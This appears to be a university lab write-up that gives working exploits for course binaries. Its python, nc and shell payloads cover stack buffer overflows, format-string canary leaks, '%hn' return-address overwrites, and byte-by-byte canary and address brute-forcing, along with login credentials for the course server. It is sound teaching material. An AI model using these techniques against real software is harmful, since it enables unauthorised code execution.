In the following, we assume that the environment variables `HOST` and `PORT` have been set to point to the target servers. Also, remember to set ```sh export PYTHONIOENCODING=iso-8859-1 ``` to avoid UTF-8 encoding of byte values larger than 0x7f. To attack the online server, use `HOST=lettieri.iet.unipi.it` and the specified port. To download a copy of the binary running on the server, use, e.g.: ```sh scp -P 4422 nocanary0@lettieri.iet.unipi.it:nocanary0 . ``` with password `nocanary0` (and similarly for the other binaries). nocanary0 ========= ```sh PORT=4430 ``` This is just a simple buffer overflow in the `child()` function. By studying the binary we can see that buf if 0x200 bytes above %rbp, and therefore 0x200+8 bytes above the saved rip. Assume that `win` is at 0x0000000000401272. ```sh python3 -c 'print("A"*(0x200+8) + "\x00\x00\x00\x00\x00\x40\x12\x72"[::-1])' | nc $HOST $PORT ``` canary0 ======= ```sh PORT=4410 ``` This is the exact same source as before, but the binary has been compiled with stack canaries enabled. The offset between the buffer and the saved rip should be 0x200 as before, but the address of `win` may have changed, since the size of each function has changed. We can exploit the format string error to print values from the stack and therefore learn the canary value. Then we can overwrite the canary with itself when we exploit the buffer overflow to redirect the control flow to `win`. By studying the binary, we see that the canary is 8 bytes above `%rbp`. The printf will take its first 5 arguments from the registers, then it will start reading values from successive stack lines. The binary also tells us that, when `printf()` is called, `%rsp` is still pointing 0x200=512 bytes above `%rbp`, and therefore (512-8)/8=63 stack lines above the canary. Therefore, `printf()` will read the canary while reading its argument number 5+63+1=69. ```sh python3 -c 'print("%lx."*69)' | nc $HOST $PORT | tr . '\n' | tail -n1 ``` We inject 69 `%lx` and the last value printed by the server will be the canary. We would like to have one value per line, for readability, but we cannot inject newlines (why?). Therefore, we separate each value with a `.` and then use `tr` to turn them into newlines. There is a more direct way to read just the canary: ```sh echo '%69$lx' | nc $HOST $PORT ``` The `69$` between `%` and `lx` tells `printf()` to obtain the `lx` value from the 69th argument, even if there are no other arguments in the format string. The effect is that `printf()` will jump directly at the stack line that we are interested in. This feature is very useful for attackers, since it can be used to read very far values even when the size of the format string is very limited. If you read the printf man page, however, you will see that this behavior is entirely non-standard. It works with GNU libc when the binary has been compiled with `FORTIFY_SOURCE` disabled, but it may fail with other implementations of the C library (for example, it does not work in the original phoenix exercises, which are linked with musl libc). Now we can attack the server. Assume the canary is 7ff8ff5690b1c100 and `win` is at 0000000000401282. ```sh python3 -c 'print("A"*(0x200-8)+"\x7f\xf8\xff\x56\x90\xb1\xc1\x00"[::-1] +\ "B"*8 + "\x00\x00\x00\x00\x00\x40\x12\x82"[::-1])' | nc $HOST $PORT ``` canary1 ======= ```sh PORT=4411 ``` This server only contains a format string vulnerability, so we have to redirect control flow using the `%n` specifier. This will also let us overwrite the saved `rip` without touching the canary. We could have exploited this technique also for canary0, but reading the canary is simpler. In fact, in order to overwrite the saved `rip`, we need to know the absolute stack address where it is stored. In general we have no way to predict this exactly when we are attacking a remote server, since we don't control its arguments and environment. Luckily this is a forking server, which means that we can try with different addresses as many times as we want. We start with a reasonable estimate, maybe obtained by running a copy of the server on our system, and then try other values around our estimate, at 8 bytes increments, until we succeed. We prepare a `python3` script that outputs the payload, given an address estimate. The biggest difficulty, as usual, is the fact the target address will contain null bytes, and `printf()` stops as soon as it sees a null byte. We overcome the difficulty by placing the address at the end of the buffer. To simplify the payload, we exploit the fact that the `win` function is near the `main` function, and therefore we can overwrite just the lower 4 bytes of the saved return address, since the higher addresses will be (most likely) the same. It is not difficult, however, to prepare a more general payload. ```python import sys import struct win = 0x401272 & 0xffff rip = int(sys.argv[1], 0) payload = b'%' + str(win).encode() + b'c' payload += b'%8$hn' payload += b'A' * ((8-6)*8 - len(payload)) payload += struct.pack('Q', rip) payload += b'\n' sys.stdout.buffer.write(payload) ``` The first specifier in the payload sets the printf output counter to the value we need, while the second one writes the counter at the target address. We use the non-standard GNU libc behavior to read the address directly. We need to decide the exact position of the target address in the buffer, so that we can choose the correct argument number for `%hn`. Remember that we cannot use the first 5 arguments, which are taken from the registers, and we need to leave enough room at the beginning of the buffer for the `%c` and `%n` directives. By studying the binary we see that the 6th argument is at the beginning of the buffer. We choose to use the 8th argument, which will be at offset 8x(8-6) inside the buffer, leaving enough room for the other things that we have put before it. Then we pad the payload until we reach this offset and we finally place the target address. We need to terminate with a newline, to make the `fgets()` return. We write the above script in a `canary1.py` file and then try to brute-force the saved `rip` address: ```sh for ((i=0x7ffffffff000-8; i >= 0x7ffffffde000; i -= 16)) do printf "trying %#x...\n" $i python3 canary1.py $i | nc $HOST $PORT | grep '^SNH' && break done ``` Note that we are not using any estimate and we are just starting from the bottom of the stack. As an optimization, we have run the binary in the debugger and noted that the last 4 bits of the saved `rip` stack address where 0x8. These bits cannot change, since the stack address can only change by 16 bytes multiples. Accordingly, the shell script starts with an address which ends in 0x8 and then decrements it by 16 each time. Note also that there are more convenient addresses that we can overwrite, other than the saved `rip`, but we will talk about them in another lecture. * A lucky find If we try to dump memory using the addresses already stored in the server's registers and stack, we find something interesting: the command ```sh echo '%4$s' | nc $HOST $PORT ``` outputs the string `%4$s`. This most likely means that register `r8` contains the address of the local variable `buf` when `printf()` is called. We can easily get the contents of `r8` with ```sh echo '%4$lx' | nc $HOST $PORT ``` Then we can add the result to the offset between the saved `rip` and `buf` to get the address of the saved `rip` without brute forcing. canary2 ======= ```sh PORT=4412 ``` This server contains a buffer overflow bug, but no format string vulnerability. The buffer overflow comes from the fact that the `child()` functions uses the untrusted `len`, obtained from the outside, to drive the `fgets()` function. The attacker can use this bug to precisely control how many bytes can be overwritten by her payload. This feature can be used to leak the canary one byte at a time. First we overwrite the LSB of the canary with all possible values from 0 to 255 until the server doesn't crash. The value that lets the server continue execution normally must then be the LSB of the canary (for GNU libc we actually already know that this value is zero). Now we overwrite only the next byte of the canary, using the correct value for the LSB. The byte value that lets the server survive must be the value of the next byte of the canary. We continue in this fashion until we have learned all the bytes of the canary. We prepare a script (`canary2.py`) that outputs the payload, given a guess for the first n bytes of the canary: ```python import sys import struct offset = 0x200 - 8 args = sys.argv[1:] payload = struct.pack('i', offset + len(args)) payload += b"A"*offset for i in args: payload += struct.pack('B', int(i)) sys.stdout.buffer.write(payload) ``` Then we use it to leak all the canary bytes: ```sh canary= found= for j in {1..8}; do for i in {0..255}; do if ! python3 canary2.py $found $i | nc $HOST $PORT | grep -q terminated then found="$found $i" canary="$i $canary" echo $i break; fi done done printf "%02x%02x%02x%02x%02x%02x%02x%02x\n" $canary ``` Once we now the canary we can overflow the buffer and overwrite the saved `rip`. Assume that the canary is a7818e162a75c700 and that win is at 00000000004012a2. ```sh python3 -c 'print("\x00\x00\x02\x10"[::-1] + "A"*(0x200-8) +\ "\xa7\x81\x8e\x16\x2a\x75\xc7\x00"[::-1] +\ "B"*8 + "\x00\x00\x00\x00\x00\x40\x12\xa2"[::-1])' | nc $HOST $PORT ``` The first four bytes contain 0x210, which is 0x200 (the offset from the buffer to `rbp`) plus 16 more bytes to overwrite the saved `rbp` and finally the saved `rip`.